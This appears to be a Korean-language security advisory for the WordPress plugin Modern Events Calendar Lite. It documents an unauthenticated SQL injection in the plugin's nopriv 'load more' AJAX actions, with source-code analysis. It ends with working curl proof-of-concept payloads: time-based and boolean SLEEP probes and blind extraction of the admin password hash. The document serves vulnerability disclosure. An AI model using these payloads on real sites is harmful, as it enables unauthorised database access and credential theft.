
Modern Events Calendar Lite <= 7.33.0 — 인증되지 않은 SQL 인젝션
mec_list_load_more의 atts[include] / atts[exclude])| 세부 사항 | 값 |
|---|---|
| 플러그인 | Modern Events Calendar Lite |
| 슬러그 | modern-events-calendar-lite |
| 저자 | Webnus |
| 영향을 받는 버전 | <= 7.33.0 (현재 공급업체에서 배포하는 Lite 릴리스). 전체 post-w.org 범위에 걸쳐 버그 존재; 6.5.6 및 7.33.0에서 연구소 확인, 5.21.2에서 정적 확인. 6.5.6 = 마지막 wordpress.org 빌드 (2022-05-11 폐쇄 시점 동결); 7.33.0 = mec.webnus.net에서 배포하는 현재 빌드 |
| 활성 설치 수 | wordpress.org 카운트는 폐쇄 이후 숨겨짐; 역사적으로 100,000+ 이상. 공급업체에 의해 여전히 활발히 배포/업데이트됨 (Lite via mec.webnus.net; 동일한 7.x 코드베이스가 활발히 판매 중인 MEC Pro의 기반) |
| CWE | CWE-89 (SQL 인젝션) |
| 취약점 | 인증되지 않은 블라인드 SQL 인젝션 (시간 기반 / 불리언 / 오류 기반) |
| 필요 권한 | 없음 (wp_ajax_nopriv_* — 인증 전) |
| 사용자 상호작용 | 없음 |
| CVSS v3.1 | 7.5 (높음) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| 상태 | 7.33.0(현재) 및 6.5.6 (WordPress 6.6.5, MariaDB 10.x)에서 엔드 투 엔드 연구소 확인 |
| CVE / GHSA | CVE-2026-11349 |
Modern Events Calendar Lite은 이벤트 목록 스킨(list, grid, masonry, agenda, timeline, tile, custom)을 위해 인증되지 않은 admin-ajax.php "load more" 액션 제품군을 등록합니다. 각 핸들러는 공격자가 제어하는 atts 요청 배열을 읽고, sanitize_deep_array()라는 헬퍼를 통해 전달합니다. 이 헬퍼는 기본 인자로 호출될 때 전혀 새니타이제이션을 수행하지 않으며, 그런 다음 atts['include'](및 atts['exclude']) 값을 post_id IN (...) SQL 조각에 원시로 연결하여 $wpdb->get_results()로 실행하며 $wpdb->prepare()는 사용하지 않습니다.
엔트리 포인트가 wp_ajax_nopriv_*에 등록되어 있으므로 인증, 계정, 논스 또는 사용자 상호작용이 필요하지 않습니다. 인증되지 않은 원격 공격자는 wp_mec_dates에 대한 SELECT의 WHERE 절에 임의의 SQL을 주입하고, 블라인드 시간 기반/불리언/오류 기반 기술을 통해 WordPress 데이터베이스의 모든 데이터(사용자 비밀번호 해시, wp_options 비밀/키, 다른 플러그인의 데이터)를 읽을 수 있습니다.
app/libraries/main.php:9607:
public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
if(!is_array($inputs)) return $inputs;
$sanitized = array();
foreach($inputs as $key => $val)
{
$p = $path.$key.'.';
if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
or (is_array($excludes) and !count($excludes))) // line 9615
{
$sanitized[$key] = $val; // <-- RAW 통과, 새니타이제이션 없음
continue;
}
// ... (sanitize_text_field / (int) / esc_url / ... $excludes가 비어 있지 않을 때만 도달)
}
return $sanitized;
}
가드 (is_array($excludes) and !count($excludes))는 함수가 $excludes가 기본 빈 배열일 때 완전한 무효 동작을 하도록 만듭니다 — 모든 값이 그대로 복사됩니다. 의도는 분명히 "제외 목록이 있으면 해당 키를 건너뛰기"였지만, 부울 논리는 제외 목록이 제공되지 않을 때 모든 것을 건너뜁니다.
$excludes를 제공하지 않음app/skins/list.php:499-501 (load_more()):
$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date); // line 501
sanitize_deep_array($_REQUEST['atts'])가 단일 인자로 호출됨 → $excludes가 array()로 기본 설정 → 위의 무효 경로 → $atts는 원시의 신뢰할 수 없는 $_REQUEST['atts']입니다.
IN (...) 절에 원시 연결app/libraries/skins.php:
// line 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
$where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";
// line 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
$where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";
배열 요소가 정수 캐스트나 이스케이프 없이 SQL 문자열에 직접 implode()됩니다. (각 요소에 absint()/(int)를 적용했다면 이 문제가 해결되었을 것입니다.)
app/libraries/db.php:79:
public function select($query, $result = 'loadObjectList')
{
$query = $this->_prefix($query); // `#__`를 테이블 접두사로만 교체
$database = $this->get_DBO();
if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K); // line 87 — prepare() 없음
// ...
}
완전히 구축된 문자열이 $wpdb->get_results()에 그대로 전달됩니다.
오염 흐름 (요청 → 싱크):
$_REQUEST['atts'] (공격자 제어, 인증되지 않음)
→ app/skins/list.php:501 sanitize_deep_array($atts) (무효 동작: 기본 빈 $excludes)
→ MEC_skin::initialize($atts) ($this->atts = 원시 atts)
→ app/libraries/skins.php:606 "... post_id IN (".implode(',', $this->atts['include']).")"
→ app/libraries/db.php:87 $wpdb->get_results($query) (prepare 없음)
app/skins/list.php:51-52:
$this->factory->action('wp_ajax_mec_list_load_more', array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more')); // <-- 인증되지 않음
nopriv 등록으로 엔드포인트가 인증 전에 접근 가능합니다. 동일한 load_more() 형태와 공유되는 skins.php 쿼리 빌더는 형제 스킨에도 존재하며, 각각 자체 wp_ajax_nopriv_* 액션이 있으므로 동일한 인젝션이 다음 중 하나를 통해 접근 가능합니다:
AJAX 액션 (nopriv) | 스킨 핸들러 |
|---|---|
mec_list_load_more | app/skins/list.php:497 |
mec_grid_load_more | app/skins/grid.php:497 |
mec_masonry_load_more | app/skins/masonry.php:229 |
mec_agenda_load_more | app/skins/agenda.php:242 |
mec_timeline_load_more | app/skins/timeline.php:242 |
mec_tile_load_more | app/skins/tile.php:446 |
mec_custom_load_more | app/skins/custom.php:233 |
load_more()에서 논스가 확인되지 않으며, 액션이 페이지에 플러그인 단축 코드가 있을 것을 요구하지 않습니다 — AJAX 핸들러는 init에서 조건 없이 등록됩니다.
모든 요청은 인증되지 않음(쿠키, 논스 없음). 주입된 값은 atts[include][]에 배치됩니다. 페이로드는 IN ((...) AND (... IN ( 그룹의 두 괄호를 닫고 최상위 OR <sleep>을 추가하여 조건이 스캔된 모든 행에 대해 평가되도록 한 다음, 후행 )) ORDER BY ...를 주석 처리합니다:
TARGET='https://victim.example' # 일반 영구 링크: admin-ajax.php 직접 사용
# 1) 기준 (주입 없음)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode 'atts[include][]=0'
# → ~0.27s
# 2) 시간 기반 증명 — 균형 잡힌 최상위 OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
# → ~3.04s ← SLEEP(3) 실행됨
# 3) 불리언 오라클 (true vs false)
# atts[include][]=0)) OR IF(1=1,SLEEP(3),0)# → ~3.06s (TRUE)
# atts[include][]=0)) OR IF(1=2,SLEEP(3),0)# → ~0.04s (FALSE)
# 4) 실제 데이터 추출 (블라인드), 예: 관리자 비밀번호 해시 첫 번째 바이트 == '$' (0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
# → ~3.04s ← TRUE: 관리자 해시가 '$'로 시작 (phpass)
오류 카나리 atts[include][]=0)MEC_SQLI_CANARY에 대해 실행된 정확한 쿼리 (WP_DEBUG_LOG에서 캡처):
SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC
— 리터럴 토큰 MEC_SQLI_CANARY가 실행된 문에 그대로 나타나며, 원시 연결을 확인합니다. atts[exclude][] 매개변수(skins.php:803 / 603, NOT IN)도 동일하게 주입 가능합니다(연구소 확인: atts[exclude][]=0)) OR SLEEP(3)# → ~3.5s). 동일한 쿼리 및 주입이 7.33.0(현재 빌드)에서도 재현되었습니다 — 동일한 카나리, 동일한 SLEEP 동작.